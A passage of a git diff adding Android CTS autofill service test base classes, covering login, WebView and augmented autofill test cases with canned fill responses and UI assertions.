+            }
+        };
+    }
+
+    /**
+     * Hook for subclass to customize activity after it's launched.
+     */
+    protected void postActivityLaunched() {
+    }
+
+    /**
+     * Focus to a cell and expect window event
+     */
+    protected void focusCell(int row, int column) throws TimeoutException {
+        mUiBot.waitForWindowChange(() -> mActivity.focusCell(row, column));
+    }
+
+    /**
+     * Focus to a cell and expect no window event.
+     */
+    protected void focusCellNoWindowChange(int row, int column) {
+        final AccessibilityEvent event;
+        try {
+            event = mUiBot.waitForWindowChange(() -> mActivity.focusCell(row, column),
+                    Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
+        } catch (WindowChangeTimeoutException ex) {
+            // no window events! looking good
+            return;
+        }
+        throw new IllegalStateException(String.format("Expect no window event when focusing to"
+                + " column %d row %d, but event happened: %s", row, column, event));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractLoginActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractLoginActivityTestCase.java
new file mode 100644
index 0000000..33e99a1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractLoginActivityTestCase.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.autofillservice.cts.testcore.UiBot;
+import android.autofillservice.cts.testcore.WindowChangeTimeoutException;
+import android.view.View;
+import android.view.accessibility.AccessibilityEvent;
+
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Base class for test cases using {@link LoginActivity}.
+ */
+public abstract class AbstractLoginActivityTestCase
+        extends AutoFillServiceTestCase.AutoActivityLaunch<LoginActivity> {
+
+    protected LoginActivity mActivity;
+
+    protected AbstractLoginActivityTestCase() {
+    }
+
+    protected AbstractLoginActivityTestCase(UiBot inlineUiBot) {
+        super(inlineUiBot);
+    }
+
+    @Override
+    protected AutofillActivityTestRule<LoginActivity> getActivityRule() {
+        return new AutofillActivityTestRule<LoginActivity>(
+                LoginActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    /**
+     * Requests focus on username and expect Window event happens.
+     */
+    protected void requestFocusOnUsername() throws TimeoutException {
+        mUiBot.waitForWindowChange(() -> mActivity.onUsername(View::requestFocus));
+    }
+
+    /**
+     * Requests focus on username and expect no Window event happens.
+     */
+    protected void requestFocusOnUsernameNoWindowChange() {
+        final AccessibilityEvent event;
+        try {
+            event = mUiBot.waitForWindowChange(() -> mActivity.onUsername(View::requestFocus),
+                    Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
+        } catch (WindowChangeTimeoutException ex) {
+            // no window events! looking good
+            return;
+        }
+        throw new IllegalStateException("Expect no window event when focusing to"
+                + " username, but event happened: " + event);
+    }
+
+    /**
+     * Requests focus on password and expect Window event happens.
+     */
+    protected void requestFocusOnPassword() throws TimeoutException {
+        mUiBot.waitForWindowChange(() -> mActivity.onPassword(View::requestFocus));
+    }
+
+    /**
+     * Clears focus from input fields by focusing on the parent layout.
+     */
+    protected void clearFocus() {
+        mActivity.clearFocus();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractLoginNotImportantForAutofillTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractLoginNotImportantForAutofillTestCase.java
new file mode 100644
index 0000000..eb5b87a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractLoginNotImportantForAutofillTestCase.java
@@ -0,0 +1,234 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+
+import android.autofillservice.cts.activities.LoginNotImportantForAutofillActivity;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.EditText;
+
+import org.junit.Test;
+
+public abstract class AbstractLoginNotImportantForAutofillTestCase<A extends
+        LoginNotImportantForAutofillActivity> extends
+        AugmentedAutofillAutoActivityLaunchTestCase<A> {
+
+    protected A mActivity;
+
+    @Test
+    public void testAutofill_none() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText username = mActivity.getUsername();
+        final AutofillValue expectedFocusedValue = username.getAutofillValue();
+        final AutofillId expectedFocusedId = username.getAutofillId();
+        sAugmentedReplier.addResponse(NO_AUGMENTED_RESPONSE);
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(request, mActivity, expectedFocusedId, expectedFocusedValue);
+
+        // Make sure standard Autofill UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Make sure Augmented Autofill UI is not shown.
+        mAugmentedUiBot.assertUiNeverShown();
+    }
+
+    @Test
+    public void testAutofill_oneField() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText username = mActivity.getUsername();
+        final AutofillId usernameId = username.getAutofillId();
+        final AutofillValue expectedFocusedValue = username.getAutofillValue();
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
+                        .setField(usernameId, "dude")
+                        .build(), usernameId)
+                .build());
+        mActivity.expectAutoFill("dude");
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(request, mActivity, usernameId, expectedFocusedValue);
+
+        // Make sure standard Autofill UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Make sure Augmented Autofill UI is shown.
+        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
+
+        // Autofill
+        ui.click();
+        mActivity.assertAutoFilled();
+        mAugmentedUiBot.assertUiGone();
+    }
+
+    @Test
+    public void testAutofill_twoFields() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText username = mActivity.getUsername();
+        final AutofillId usernameId = username.getAutofillId();
+        final AutofillValue expectedFocusedValue = username.getAutofillValue();
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
+                        .setField(usernameId, "dude")
+                        .setField(mActivity.getPassword().getAutofillId(), "sweet")
+                        .build(), usernameId)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(request, mActivity, usernameId, expectedFocusedValue);
+
+        // Make sure standard Autofill UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Make sure Augmented Autofill UI is shown.
+        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
+
+        // Autofill
+        ui.click();
+        mActivity.assertAutoFilled();
+        mAugmentedUiBot.assertUiGone();
+    }
+
+    @Test
+    public void testAutofill_manualRequest() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText username = mActivity.getUsername();
+        final AutofillId usernameId = username.getAutofillId();
+        final AutofillValue expectedFocusedValue = username.getAutofillValue();
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
+                        .setField(usernameId, "dude")
+                        .build(), usernameId)
+                .build());
+        mActivity.expectAutoFill("dude");
+
+        // Trigger autofill
+        mActivity.forceAutofillOnUsername();
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        // No inline request because didn't focus on any view.
+        assertBasicRequestInfo(request, mActivity, usernameId, expectedFocusedValue,
+                /* hasInlineRequest */ false);
+
+        // Make sure standard Autofill UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Make sure Augmented Autofill UI is shown.
+        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
+
+        // Autofill
+        ui.click();
+        mActivity.assertAutoFilled();
+        mAugmentedUiBot.assertUiGone();
+    }
+
+    @Test
+    public void testAutofill_autoThenManualRequests() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText username = mActivity.getUsername();
+        final AutofillId usernameId = username.getAutofillId();
+        final AutofillValue expectedFocusedValue = username.getAutofillValue();
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
+                        .setField(usernameId, "WHATEVER")
+                        .build(), usernameId)
+                .build());
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        final AugmentedFillRequest request1 = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(request1, mActivity, usernameId, expectedFocusedValue);
+
+        // Make sure standard Autofill UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Make sure Augmented Autofill UI is shown.
+        mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
+
+        sReplier.addResponse(NO_RESPONSE);
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Fill Me")
+                        .setField(usernameId, "dude")
+                        .build(), usernameId)
+                .build());
+        mActivity.expectAutoFill("dude");
+
+        // Trigger autofill
+        mActivity.clearFocus();
+        mActivity.forceAutofillOnUsername();
+        sReplier.getNextFillRequest();
+        final AugmentedFillRequest request2 = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(request2, mActivity, usernameId, expectedFocusedValue);
+
+        // Make sure standard Autofill UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Make sure Augmented Autofill UI is shown.
+        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Fill Me");
+
+        // Autofill
+        ui.click();
+        mActivity.assertAutoFilled();
+        mAugmentedUiBot.assertUiGone();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
new file mode 100644
index 0000000..7720bc8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import android.autofillservice.cts.activities.AbstractWebViewActivity;
+import android.autofillservice.cts.testcore.IdMode;
+import android.autofillservice.cts.testcore.UiBot;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+
+public abstract class AbstractWebViewTestCase<A extends AbstractWebViewActivity>
+        extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
+
+    protected AbstractWebViewTestCase() {
+    }
+
+    protected AbstractWebViewTestCase(UiBot inlineUiBot) {
+        super(inlineUiBot);
+    }
+
+    // TODO(b/64951517): WebView currently does not trigger the autofill callbacks when values are
+    // set using accessibility.
+    protected static final boolean INJECT_EVENTS = true;
+
+    @BeforeClass
+    public static void setReplierMode() {
+        sReplier.setIdMode(IdMode.HTML_NAME);
+    }
+
+    @AfterClass
+    public static void resetReplierMode() {
+        sReplier.setIdMode(IdMode.RESOURCE_ID);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AugmentedAutofillAutoActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AugmentedAutofillAutoActivityLaunchTestCase.java
new file mode 100644
index 0000000..851bcb7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AugmentedAutofillAutoActivityLaunchTestCase.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.Helper.allowOverlays;
+import static android.autofillservice.cts.testcore.Helper.disallowOverlays;
+
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
+import android.autofillservice.cts.testcore.AugmentedHelper;
+import android.autofillservice.cts.testcore.AugmentedUiBot;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedReplier;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.AutofillOptions;
+import android.view.autofill.AutofillManager;
+
+import com.android.compatibility.common.util.RequiredSystemResourceRule;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
+/////
+///// NOTE: changes in this class should also be applied to
+/////       AugmentedAutofillManualActivityLaunchTestCase, which is exactly the same as this except
+/////       by which class it extends.
+
+// Must be public because of the @ClassRule
+public abstract class AugmentedAutofillAutoActivityLaunchTestCase
+        <A extends AbstractAutoFillActivity> extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
+
+    protected static AugmentedReplier sAugmentedReplier;
+    protected AugmentedUiBot mAugmentedUiBot;
+
+    private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
+
+    private static final RequiredSystemResourceRule sRequiredResource =
+            new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
+
+    private static final RuleChain sRequiredFeatures = RuleChain
+            .outerRule(sRequiredFeatureRule)
+            .around(sRequiredResource);
+
+    public AugmentedAutofillAutoActivityLaunchTestCase() {}
+
+    public AugmentedAutofillAutoActivityLaunchTestCase(UiBot uiBot) {
+        super(uiBot);
+    }
+
+    @BeforeClass
+    public static void allowAugmentedAutofill() {
+        sContext.getApplicationContext()
+                .setAutofillOptions(AutofillOptions.forWhitelistingItself());
+        allowOverlays();
+    }
+
+    @AfterClass
+    public static void resetAllowAugmentedAutofill() {
+        sContext.getApplicationContext().setAutofillOptions(null);
+        disallowOverlays();
+    }
+
+    @Before
+    public void setFixtures() {
+        mServiceWatcher = null;
+        sAugmentedReplier = CtsAugmentedAutofillService.getAugmentedReplier();
+        sAugmentedReplier.reset();
+        CtsAugmentedAutofillService.resetStaticState();
+        mAugmentedUiBot = new AugmentedUiBot(mUiBot);
+        mSafeCleanerRule
+                .run(() -> sAugmentedReplier.assertNoUnhandledFillRequests())
+                .run(() -> {
+                    AugmentedHelper.resetAugmentedService();
+                    if (mServiceWatcher != null) {
+                        mServiceWatcher.waitOnDisconnected();
+                    }
+                })
+                .add(() -> {
+                    return sAugmentedReplier.getExceptions();
+                });
+    }
+
+    @Override
+    protected int getNumberRetries() {
+        return 0; // A.K.A. "Optimistic Thinking"
+    }
+
+    @Override
+    protected int getSmartSuggestionMode() {
+        return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
+    }
+
+    @Override
+    protected TestRule getRequiredFeaturesRule() {
+        return sRequiredFeatures;
+    }
+
+    protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
+        if (mServiceWatcher != null) {
+            throw new IllegalStateException("There Can Be Only One!");
+        }
+
+        mServiceWatcher = CtsAugmentedAutofillService.setServiceWatcher();
+        AugmentedHelper.setAugmentedService(CtsAugmentedAutofillService.SERVICE_NAME);
+
+        CtsAugmentedAutofillService service = mServiceWatcher.waitOnConnected();
+        service.waitUntilConnected();
+        return service;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AugmentedAutofillManualActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AugmentedAutofillManualActivityLaunchTestCase.java
new file mode 100644
index 0000000..c2517ee
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AugmentedAutofillManualActivityLaunchTestCase.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.Helper.allowOverlays;
+import static android.autofillservice.cts.testcore.Helper.disallowOverlays;
+
+import android.autofillservice.cts.testcore.AugmentedHelper;
+import android.autofillservice.cts.testcore.AugmentedUiBot;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedReplier;
+import android.content.AutofillOptions;
+import android.view.autofill.AutofillManager;
+
+import com.android.compatibility.common.util.RequiredSystemResourceRule;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
+/////
+///// NOTE: changes in this class should also be applied to
+/////       AugmentedAutofillManualActivityLaunchTestCase, which is exactly the same as this except
+/////       by which class it extends.
+
+// Must be public because of the @ClassRule
+public abstract class AugmentedAutofillManualActivityLaunchTestCase
+        extends AutoFillServiceTestCase.ManualActivityLaunch {
+
+    protected static AugmentedReplier sAugmentedReplier;
+    protected AugmentedUiBot mAugmentedUiBot;
+
+    private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
+
+    private static final RequiredSystemResourceRule sRequiredResource =
+            new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
+
+    private static final RuleChain sRequiredFeatures = RuleChain
+            .outerRule(sRequiredFeatureRule)
+            .around(sRequiredResource);
+
+    @BeforeClass
+    public static void allowAugmentedAutofill() {
+        sContext.getApplicationContext()
+                .setAutofillOptions(AutofillOptions.forWhitelistingItself());
+        allowOverlays();
+    }
+
+    @AfterClass
+    public static void resetAllowAugmentedAutofill() {
+        sContext.getApplicationContext().setAutofillOptions(null);
+        disallowOverlays();
+    }
+
+    @Before
+    public void setFixtures() {
+        sAugmentedReplier = CtsAugmentedAutofillService.getAugmentedReplier();
+        sAugmentedReplier.reset();
+        CtsAugmentedAutofillService.resetStaticState();
+        mAugmentedUiBot = new AugmentedUiBot(mUiBot);
+        mSafeCleanerRule
+                .run(() -> sAugmentedReplier.assertNoUnhandledFillRequests())
+                .run(() -> {
+                    AugmentedHelper.resetAugmentedService();
+                    if (mServiceWatcher != null) {
+                        mServiceWatcher.waitOnDisconnected();
+                    }
+                })
+                .add(() -> {
+                    return sAugmentedReplier.getExceptions();
+                });
+    }
+
+    @Override
+    protected int getSmartSuggestionMode() {
+        return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
+    }
+
+    @Override
+    protected TestRule getRequiredFeaturesRule() {
+        return sRequiredFeatures;
+    }
+
+    protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
+        return enableAugmentedService(/* whitelistSelf= */ true);
+    }
+
+    protected CtsAugmentedAutofillService enableAugmentedService(boolean whitelistSelf)
+            throws InterruptedException {
+        if (mServiceWatcher != null) {
+            throw new IllegalStateException("There Can Be Only One!");
+        }
+
+        mServiceWatcher = CtsAugmentedAutofillService.setServiceWatcher();
+        AugmentedHelper.setAugmentedService(CtsAugmentedAutofillService.SERVICE_NAME);
+
+        CtsAugmentedAutofillService service = mServiceWatcher.waitOnConnected();
+        service.waitUntilConnected();
+        return service;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
new file mode 100644
index 0000000..b206d5b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
@@ -0,0 +1,488 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.SERVICE_NAME;
+import static android.content.Context.CLIPBOARD_SERVICE;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import android.app.PendingIntent;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
+import android.autofillservice.cts.activities.AugmentedAuthActivity;
+import android.autofillservice.cts.activities.AuthenticationActivity;
+import android.autofillservice.cts.activities.PreSimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.AutofillLoggingTestRule;
+import android.autofillservice.cts.testcore.AutofillTestWatcher;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.Replier;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.ClipboardManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
+import android.service.autofill.InlinePresentation;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+import android.widget.RemoteViews;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
+import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.RetryRule;
+import com.android.compatibility.common.util.SafeCleanerRule;
+import com.android.compatibility.common.util.SettingsStateKeeperRule;
+import com.android.compatibility.common.util.TestNameUtils;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSessionRule;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+
+/**
+ * Placeholder for the base class for all integration tests:
+ *
+ * <ul>
+ *   <li>{@link AutoActivityLaunch}
+ *   <li>{@link ManualActivityLaunch}
+ * </ul>
+ *
+ * <p>These classes provide the common infrastructure such as:
+ *
+ * <ul>
+ *   <li>Preserving the autofill service settings.
+ *   <li>Cleaning up test state.
+ *   <li>Wrapping the test under autofill-specific test rules.
+ *   <li>Launching the activity used by the test.
+ * </ul>
+ */
+public final class AutoFillServiceTestCase {
+
+    /**
+     * Base class for all test cases that use an {@link AutofillActivityTestRule} to
+     * launch the activity.
+     */
+    // Must be public because of @ClassRule
+    public abstract static class AutoActivityLaunch<A extends AbstractAutoFillActivity>
+            extends BaseTestCase {
+
+        /**
+         * Returns if inline suggestion is enabled.
+         */
+        protected boolean isInlineMode() {
+            return false;
+        }
+
+        protected static InlineUiBot getInlineUiBot() {
+            return sDefaultUiBot2;
+        }
+
+        protected static UiBot getDropdownUiBot() {
+            return sDefaultUiBot;
+        }
+
+        @ClassRule
+        public static final SettingsStateKeeperRule sPublicServiceSettingsKeeper =
+                sTheRealServiceSettingsKeeper;
+
+        protected AutoActivityLaunch() {
+            super(sDefaultUiBot);
+        }
+        protected AutoActivityLaunch(UiBot uiBot) {
+            super(uiBot);
+        }
+
+        @Override
+        protected TestRule getMainTestRule() {
+            return getActivityRule();
+        }
+
+        /**
+         * Gets the rule to launch the main activity for this test.
+         *
+         * <p><b>Note: </b>the rule must be either lazily generated or a static singleton, otherwise
+         * this method could return {@code null} when the rule chain that uses it is constructed.
+         *
+         */
+        protected abstract @NonNull AutofillActivityTestRule<A> getActivityRule();
+
+        protected @NonNull A launchActivity(@NonNull Intent intent) {
+            return getActivityRule().launchActivity(intent);
+        }
+
+        protected @NonNull A getActivity() {
+            return getActivityRule().getActivity();
+        }
+    }
+
+    /**
+     * Base class for all test cases that don't require an {@link AutofillActivityTestRule}.
+     */
+    // Must be public because of @ClassRule
+    public abstract static class ManualActivityLaunch extends BaseTestCase {
+
+        @ClassRule
+        public static final SettingsStateKeeperRule sPublicServiceSettingsKeeper =
+                sTheRealServiceSettingsKeeper;
+
+        protected ManualActivityLaunch() {
+            this(sDefaultUiBot);
+        }
+
+        protected ManualActivityLaunch(@NonNull UiBot uiBot) {
+            super(uiBot);
+        }
+
+        @Override
+        protected TestRule getMainTestRule() {
+            // TODO: create a NoOpTestRule on common code
+            return new TestRule() {
+
+                @Override
+                public Statement apply(Statement base, Description description) {
+                    // Returns a no-op statements
+                    return new Statement() {
+                        @Override
+                        public void evaluate() throws Throwable {
+                            base.evaluate();
+                        }
+                    };
+                }
+            };
+        }
+
+        protected SimpleSaveActivity startSimpleSaveActivity() throws Exception {
+            final Intent intent = new Intent(mContext, SimpleSaveActivity.class)
+                    .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent);
+            mUiBot.assertShownByRelativeId(SimpleSaveActivity.ID_LABEL);
+            return SimpleSaveActivity.getInstance();
+        }
+
+        protected PreSimpleSaveActivity startPreSimpleSaveActivity() throws Exception {
+            final Intent intent = new Intent(mContext, PreSimpleSaveActivity.class)
+                    .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent);
+            mUiBot.assertShownByRelativeId(PreSimpleSaveActivity.ID_PRE_LABEL);
+            return PreSimpleSaveActivity.getInstance();
+        }
+    }
+
+    @RunWith(AndroidJUnit4.class)
+    // Must be public because of @ClassRule
+    public abstract static class BaseTestCase {
+
+        private static final String TAG = "AutoFillServiceTestCase";
+
+        protected static final Replier sReplier = InstrumentedAutoFillService.getReplier();
+
+        protected static final Context sContext = getInstrumentation().getTargetContext();
+
+        // Hack because JUnit requires that @ClassRule instance belong to a public class.
+        protected static final SettingsStateKeeperRule sTheRealServiceSettingsKeeper =
+                new SettingsStateKeeperRule(sContext, Settings.Secure.AUTOFILL_SERVICE) {
+            @Override
+            protected void preEvaluate(Description description) {
+                TestNameUtils.setCurrentTestClass(description.getClassName());
+            }
+
+            @Override
+            protected void postEvaluate(Description description) {
+                TestNameUtils.setCurrentTestClass(null);
+            }
+        };
+
+        public static final MockImeSessionRule sMockImeSessionRule = new MockImeSessionRule(
+                InstrumentationRegistry.getTargetContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setInlineSuggestionsEnabled(true)
+                        .setInlineSuggestionViewContentDesc(InlineUiBot.SUGGESTION_STRIP_DESC));
+
+        protected static final RequiredFeatureRule sRequiredFeatureRule =
+                new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
+
+        private final AutofillTestWatcher mTestWatcher = new AutofillTestWatcher();
+
